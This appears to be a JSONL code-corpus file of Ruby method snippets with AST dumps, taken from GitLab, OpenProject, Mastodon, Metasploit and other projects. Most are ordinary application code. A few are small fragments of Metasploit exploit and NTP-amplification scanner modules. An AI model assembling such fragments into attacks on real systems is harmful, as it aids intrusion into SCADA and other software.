{"repo_name":"openproject","file_path":"./repos/openproject/app/models/query.rb","start_line":303,"raw_source":"def sort_criteria=(arg)\n    if arg.is_a?(Hash)\n      arg = arg.keys.sort.map { |k| arg[k] }\n    end\n    c = arg.reject { |k, _o| k.to_s.blank? }.slice(0, 3).map { |k, o| [k.to_s, o == \"desc\" ? o : \"asc\"] }\n    write_attribute(:sort_criteria, c)\n  end","complexity_score":24.15,"ast_json":"{\"type\":\"def\",\"children\":[\"sort_criteria=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"lvasgn\",\"children\":[\"arg\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"keys\"]},\"sort\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"k\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"c\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"_o\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"to_s\"]},\"blank?\"]}]},\"slice\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[3]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"o\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"to_s\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"==\",{\"type\":\"str\",\"children\":[\"desc\"]}]},{\"type\":\"lvar\",\"children\":[\"o\"]},{\"type\":\"str\",\"children\":[\"asc\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"write_attribute\",{\"type\":\"sym\",\"children\":[\"sort_criteria\"]},{\"type\":\"lvar\",\"children\":[\"c\"]}]}]}]}","id":"4fd37fa7-b5d9-42bb-822d-b73a685e569a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/wireshark_packet_dect.rb","start_line":71,"raw_source":"def junk\n    return rand_text(4).unpack(\"L\")[0].to_i\n  end","complexity_score":5.65,"ast_json":"{\"type\":\"def\",\"children\":[\"junk\",{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text\",{\"type\":\"int\",\"children\":[4]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"L\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"to_i\"]}]}]}","id":"7147a152-8d09-4320-8c9d-fcbb1c87979b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250128151710_add_ci_runner_projects_runner_id_fk_constraint.rb","start_line":17,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key_if_exists SOURCE_TABLE_NAME, TARGET_TABLE_NAME, name: FK_CONSTRAINT_NAME\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"const\",\"children\":[null,\"SOURCE_TABLE_NAME\"]},{\"type\":\"const\",\"children\":[null,\"TARGET_TABLE_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"FK_CONSTRAINT_NAME\"]}]}]}]}]}]}","id":"bf4721f3-d16b-477a-8d16-cc504f0dc43c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/conflict/file.rb","start_line":264,"raw_source":"def our_language\n        strong_memoize(:our_language) do\n          if our_path == their_path\n            their_language\n          else\n            repository.gitattribute(our_path, 'gitlab-language')\n          end\n        end\n      end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"our_language\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"our_language\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"our_path\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"their_path\"]}]},{\"type\":\"send\",\"children\":[null,\"their_language\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"gitattribute\",{\"type\":\"send\",\"children\":[null,\"our_path\"]},{\"type\":\"str\",\"children\":[\"gitlab-language\"]}]}]}]}]}","id":"a3200253-92d4-4965-93cf-262c0550817a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/silent_mode.rb","start_line":17,"raw_source":"def self.log_debug(data)\n      Gitlab::AppJsonLogger.debug(**add_silent_mode_log_data(data))\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"log_debug\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppJsonLogger\"]},\"debug\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_silent_mode_log_data\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]}]}","id":"ee134526-0a7e-4bff-bcbf-d220099ae077"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/maven_packages_spec.rb","start_line":1477,"raw_source":"def move_project_to_namespace(namespace)\n    project.update!(namespace: namespace)\n    package.update!(name: project.full_path)\n    maven_metadatum.update!(path: \"#{package.name}/#{package.version}\")\n  end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"move_project_to_namespace\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"namespace\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"lvar\",\"children\":[\"namespace\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"full_path\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"maven_metadatum\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package\"]},\"version\"]}]}]}]}]}]}]}]}","id":"a114a6f5-24d7-4da7-b2e7-45febdefae47"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/vacuum/imports_vacuum.rb","start_line":4,"raw_source":"def perform\n    clean_unconfirmed_imports!\n    clean_old_imports!\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"clean_unconfirmed_imports!\"]},{\"type\":\"send\",\"children\":[null,\"clean_old_imports!\"]}]}]}","id":"4415f621-301b-496e-801e-82aba8e3e9e0"}
{"repo_name":"forem","file_path":"./repos/forem/app/policies/authorizer.rb","start_line":62,"raw_source":"def auditable?\n      trusted? || tag_moderator? || any_admin?\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"auditable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"trusted?\"]},{\"type\":\"send\",\"children\":[null,\"tag_moderator?\"]}]},{\"type\":\"send\",\"children\":[null,\"any_admin?\"]}]}]}","id":"fc3c4075-7eba-49d5-a783-2ac19bf3e85b"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/activitypub/quote_request_serializer.rb","start_line":4,"raw_source":"def self.serializer_for(model, options)\n    case model.class.name\n    when 'Status'\n      ActivityPub::NoteSerializer\n    else\n      super\n    end\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"serializer_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"class\"]},\"name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"NoteSerializer\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"d0086dce-8d30-407f-96ca-a568caff1c99"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/controllers/storages/project_storages_controller.rb","start_line":104,"raw_source":"def folder_permissions_service\n    Storages::Adapters::Registry.resolve(\"#{storage}.services.upkeep_managed_folder_permissions\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"folder_permissions_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Storages\"]},\"Adapters\"]},\"Registry\"]},\"resolve\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage\"]}]},{\"type\":\"str\",\"children\":[\".services.upkeep_managed_folder_permissions\"]}]}]}]}","id":"0768990b-f501-4cac-92b0-fdb60cd4fc77"}
{"repo_name":"haml","file_path":"./repos/haml/lib/haml/util.rb","start_line":172,"raw_source":"def balance(scanner, start, finish, count = 0)\n      str = ''.dup\n      scanner = StringScanner.new(scanner) unless scanner.is_a? StringScanner\n      regexp = Regexp.new(\"(.*?)[\\\\#{start.chr}\\\\#{finish.chr}]\", Regexp::MULTILINE)\n      while scanner.scan(regexp)\n        str << scanner.matched\n        count += 1 if scanner.matched[-1] == start\n        count -= 1 if scanner.matched[-1] == finish\n        return [str.strip, scanner.rest] if count == 0\n      end\n    end","complexity_score":38.05,"ast_json":"{\"type\":\"def\",\"children\":[\"balance\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scanner\"]},{\"type\":\"arg\",\"children\":[\"start\"]},{\"type\":\"arg\",\"children\":[\"finish\"]},{\"type\":\"optarg\",\"children\":[\"count\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"str\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"dup\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scanner\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"StringScanner\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"scanner\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringScanner\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"scanner\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"regexp\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(.*?)[\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start\"]},\"chr\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"finish\"]},\"chr\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"MULTILINE\"]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scanner\"]},\"scan\",{\"type\":\"lvar\",\"children\":[\"regexp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scanner\"]},\"matched\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scanner\"]},\"matched\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"start\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scanner\"]},\"matched\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"finish\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"count\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"strip\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scanner\"]},\"rest\"]}]}]},null]}]}]}]}]}","id":"7e00e51a-cc90-4101-8ad2-3583e3755fcb"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/classification.rb","start_line":356,"raw_source":"def self.lookup_by_names(names, region_id = my_region_number, name_space = DEFAULT_NAMESPACE, parent_id = nil)\n    tag_names = names.map { |name| name2tag(name, parent_id, name_space) }\n    # NOTE: tags is a subselect - not an array of ids\n    tags = Tag.in_region(region_id).where(:name => tag_names).select(:id)\n    where(:tag_id => tags)\n  end","complexity_score":13.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"lookup_by_names\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"names\"]},{\"type\":\"optarg\",\"children\":[\"region_id\",{\"type\":\"send\",\"children\":[null,\"my_region_number\"]}]},{\"type\":\"optarg\",\"children\":[\"name_space\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_NAMESPACE\"]}]},{\"type\":\"optarg\",\"children\":[\"parent_id\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tag_names\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"names\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"name2tag\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"parent_id\"]},{\"type\":\"lvar\",\"children\":[\"name_space\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tags\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"in_region\",{\"type\":\"lvar\",\"children\":[\"region_id\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"tag_names\"]}]}]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag_id\"]},{\"type\":\"lvar\",\"children\":[\"tags\"]}]}]}]}]}]}","id":"f7288773-88be-4ed8-acdb-0c2f6f27fa9d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb","start_line":311,"raw_source":"def exploit\n    id = Rex::Text.rand_text_alpha(8)\n\n    res = add_template(id)\n    if res !~ /Report/i\n      print_error(\"Failed to add template:#{res}\")\n      return\n    end\n\n    sploit_rename(id)\n  end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"add_template\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Report\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to add template:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"sploit_rename\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}","id":"d0437e8e-eba4-41de-9eeb-df3e3318d643"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb","start_line":47,"raw_source":"def scanner_postscan(batch)\n    @results.keys.each do |k|\n      response_map = { @probe => @results[k] }\n      # TODO: check to see if any of the responses are actually NTP before reporting\n      report_service(\n        :host => k,\n        :proto => 'udp',\n        :port => rport,\n        :name => 'ntp'\n      )\n\n      peer = \"#{k}:#{rport}\"\n      vulnerable, proof = prove_amplification(response_map)\n      what = 'R7-2014-12 NTP Mode 7 PEER_LIST_SUM DRDoS'\n      if vulnerable\n        print_good(\"#{peer} - Vulnerable to #{what}: #{proof}\")\n        report_vuln({\n          :host => k,\n          :port => rport,\n          :proto => 'udp',\n          :name => what,\n          :refs => self.references\n        })\n      else\n        vprint_status(\"#{peer} - Not vulnerable to #{what}: #{proof}\")\n      end\n    end\n  end","complexity_score":25.1,"ast_json":"{\"type\":\"def\",\"children\":[\"scanner_postscan\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@results\"]},\"keys\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response_map\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@probe\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@results\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"k\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_service\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"udp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"ntp\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"peer\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vulnerable\"]},{\"type\":\"lvasgn\",\"children\":[\"proof\"]}]},{\"type\":\"send\",\"children\":[null,\"prove_amplification\",{\"type\":\"lvar\",\"children\":[\"response_map\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"what\",{\"type\":\"str\",\"children\":[\"R7-2014-12 NTP Mode 7 PEER_LIST_SUM DRDoS\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vulnerable\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Vulnerable to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"what\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proof\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_vuln\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"udp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"what\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"refs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"references\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Not vulnerable to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"what\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proof\"]}]}]}]}]}]}]}]}","id":"9d6dd9a5-1c38-4f28-b12e-8d71f84d72a8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/build_service.rb","start_line":66,"raw_source":"def filter_id_params\n      # merge_request.assign_attributes(...) below is a Rails\n      # method that only work if all the params it is passed have\n      # corresponding fields in the database. As there are no fields\n      # in the database for :add_assignee_ids and :remove_assignee_ids, we\n      # need to remove them from the params before the call to\n      # merge_request.assign_attributes(...)\n      #\n      # IssuableBaseService#process_assignee_ids takes care\n      # of the removal.\n      params[:assignee_ids] = process_assignee_ids(params, extra_assignee_ids: merge_request.assignee_ids.to_a)\n\n      merge_request.assign_attributes(params.to_h.compact)\n    end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_id_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"assignee_ids\"]},{\"type\":\"send\",\"children\":[null,\"process_assignee_ids\",{\"type\":\"send\",\"children\":[null,\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"extra_assignee_ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"assignee_ids\"]},\"to_a\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"assign_attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"to_h\"]},\"compact\"]}]}]}]}","id":"0e91db8b-6549-4857-afb3-8ca1f7f8ec24"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/pipeline_processing/atomic_processing_service.rb","start_line":67,"raw_source":"def ordered_jobs(stage)\n        jobs = load_jobs_in_batches(stage)\n        sorted_job_names = sort_jobs(jobs).each_with_index.to_h\n        jobs.sort_by { |job| sorted_job_names.fetch(job.name) }\n      end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"ordered_jobs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stage\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"jobs\",{\"type\":\"send\",\"children\":[null,\"load_jobs_in_batches\",{\"type\":\"lvar\",\"children\":[\"stage\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sorted_job_names\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sort_jobs\",{\"type\":\"lvar\",\"children\":[\"jobs\"]}]},\"each_with_index\"]},\"to_h\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jobs\"]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sorted_job_names\"]},\"fetch\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"name\"]}]}]}]}]}","id":"4de7769f-28b7-48c1-a392-166ee8b140d6"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/credentials_manager/lib/credentials_manager/cli.rb","start_line":63,"raw_source":"def remove(username)\n      CredentialsManager::AccountManager.new(\n        user: username\n      ).remove_from_keychain\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remove\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CredentialsManager\"]},\"AccountManager\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]}]}]},\"remove_from_keychain\"]}]}","id":"128e084f-c5b5-4b22-b296-6768a24f7316"}
